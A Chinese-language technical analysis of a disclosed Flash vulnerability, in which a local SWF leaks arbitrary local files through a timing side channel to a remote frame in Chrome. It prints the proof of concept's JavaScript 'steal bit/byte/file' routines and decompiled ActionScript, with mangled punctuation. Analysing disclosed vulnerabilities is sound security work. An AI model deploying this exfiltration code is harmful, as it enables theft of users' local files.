技術(shù)分析:本地SWF文件可將任意本地文件泄露
Flash文件在設(shè)計(jì)的時(shí)候就允許本地的swf文件讀取任意的本地文件。Flash Player版本不高于7時(shí),本地SWF文件可與其它SWF文件交互并且可以從任何遠(yuǎn)程或本地位置加載數(shù)據(jù)。
原理
在Flash Player 8 和更高版本中,SWF 文件不能連接本地文件系統(tǒng)和 Internet。 但是通過(guò)時(shí)間旁路通道(timing side-channel),卻可以實(shí)現(xiàn)提取任意本地文件的內(nèi)容并傳送到網(wǎng)絡(luò)上(詳細(xì)說(shuō)明,可參見(jiàn)[1],[2])。
Google瀏覽器會(huì)阻止(應(yīng)該是有提示吧)下載“.swf”后綴的文件,來(lái)降低對(duì)本地文件系統(tǒng)規(guī)則的攻擊,但是卻沒(méi)有阻止swf文件以不同的文件后綴嵌入進(jìn)去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。當(dāng)多個(gè)swf文件運(yùn)行在同一個(gè)瀏覽器,但在不同的frame下,或者不同的tab下時(shí),一次只有一個(gè)swf文件可以運(yùn)行ActionScript腳本。
這也就意味著,本地的swf文件可以通過(guò)耗時(shí)的操作(如直接循環(huán)一個(gè)時(shí)間段等),使加載的網(wǎng)絡(luò)上的swf文件的外部接口調(diào)用(ExternalInterface call)出現(xiàn)延遲。這樣根據(jù)讀取的本地文件的信息(如讀取一個(gè)字節(jié)時(shí),bit位為1出現(xiàn)延遲,bit位為0,不設(shè)置延遲),決定是否出現(xiàn)相應(yīng)的延遲,網(wǎng)絡(luò)上的swf文件檢測(cè)這一延遲,即可獲取到讀取的文件信息。
本地html文件顯然不能直接和網(wǎng)絡(luò)上的swf文件進(jìn)行交互,但是本地的html文件可以通過(guò)frame加載網(wǎng)絡(luò)上的swf文件。
POC分析
原作者提供的poc分析 ([4],[5]),打開(kāi)后發(fā)現(xiàn)亂碼,winhex一看,果斷嵌入了swf文件(提供的poc代碼中沒(méi)有這個(gè)swf文件,如圖1),偏移0xd65后的內(nèi)容為html文件的內(nèi)容:
0xD65后的內(nèi)容極為html文件的內(nèi)容。
看了下作者h(yuǎn)tml中的js代碼:
/* check the response time of flash */ function ping(cb) { var l; window.addEventListener(,message,, l = function(e) { window.removeEventListener(,message,, l); //console.log(,got delay ,+e.data.delay) cb(e.data.delay); }); document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,); } /* steal one bit */ function getbit(path, char, mask, cb) { path = encodeURIComponent(path); document.getElementById(,div,).innerHTML = ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&char=,+char+,&mask=,+mask+,">,;//這個(gè)地方應(yīng)該就是[3]提及的那個(gè)bug,src換位本地的地址后,poc沒(méi)能成功讀取本地文件內(nèi)容//作者將本地的swf文件和html文件合并在一起了,path為文件路徑 setTimeout(function() { ping(function(res) { setTimeout(function() { cb(res > 100);//根據(jù)延遲得到bit位的值 }, 500); }); }, 200); } /* steal one byte */ function getbyte(path, char, cb) { var byte = 0; var mask = 1; function getbyte_() { //console.log(,getbyte_ mask=,+mask) getbit(path, char, mask, function(is_set) {//根據(jù)mask的那一bit為1,決定讀取char中的某一bit位 //console.log(,mask=,+mask+, set=,+is_set); if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte)); mask <<= 1; getbyte_(); }); /* steal an entire file */function run() { var path = document.getElementById(,path,).value; console.log(,path=,+path) var i = 0; var text = ,,; function run_() {//其實(shí)這里應(yīng)該有個(gè)判斷文件長(zhǎng)度的,當(dāng)然應(yīng)該由swf文件把文件長(zhǎng)度信息返回回來(lái) getbyte(path, i, function(char) { console.log(,got char: ,+char) text += char; i++; document.getElementById(,out,).innerText = text; run_(); }); } run_();}
從作者給的html文件中提前swf后反編譯,反編譯后在swf腳本下有class_writer這一項(xiàng):
里面的主要兩個(gè)函數(shù)的代碼:
public static function completeHandler(arg1:flash.events.Event):void { var loc1:*=0; if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0) {//該bit位為1則循環(huán),因此會(huì)出現(xiàn)延遲 loc1 = flash.utils.getTimer() + 400; do { } while (flash.utils.getTimer() < loc1); } return; } public static function main():void { Writer.timer = new haxe.Timer(1); Writer.timer.run = function ():void { var loc1:*; var loc2:*=null; var loc3:*=undefined as null; var loc4:*=undefined as null; if (flash.Lib.current.stage != null) { false; } if (false) { Writer.timer.stop(); loc2 = flash.Lib.current.loaderInfo.parameters; Writer.path = loc2.path;//文件路徑 Writer.char = Std.parseInt(loc2.char);//獲取哪一字節(jié)的數(shù)據(jù) Writer.mask = Std.parseInt(loc2.mask);//與之按位與,可確定獲取的bit位的值 loc3 = new flash.net.URLRequest(Writer.path); Writer.loader = new flash.net.URLLoader(); Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler); } return; } return; }
Frame中嵌入的html文件的js代碼:
<embed id=a src=ping.swf AllowScriptAccess=always><script> window.addEventListener(,message,, function(e) { var t1 = Date.now(); document.getElementById(,a,).ping(); var t2 = Date.now(); parent.postMessage({delay:t2-t1}, ,*,);//計(jì)算網(wǎng)絡(luò)上的swf文件相應(yīng)的延遲 });</script>
作者poc google瀏覽器下運(yùn)行效果:
相關(guān)資料
[1]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000456.html
[2]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000462.html#164081
[3]: https://code.google.com/p/chromium/issues/detail?id=487475(無(wú)奈翻墻了提示我不能查看)
[4]https://var.thejh.net/flash_HigNabIalOt6/download.html(原作者的poc)
[5]:https://var.thejh.net/flash_local_poc.zip(原作者的poc 代碼)
[6]:http://seclists.org/fulldisclosure/2015/May/122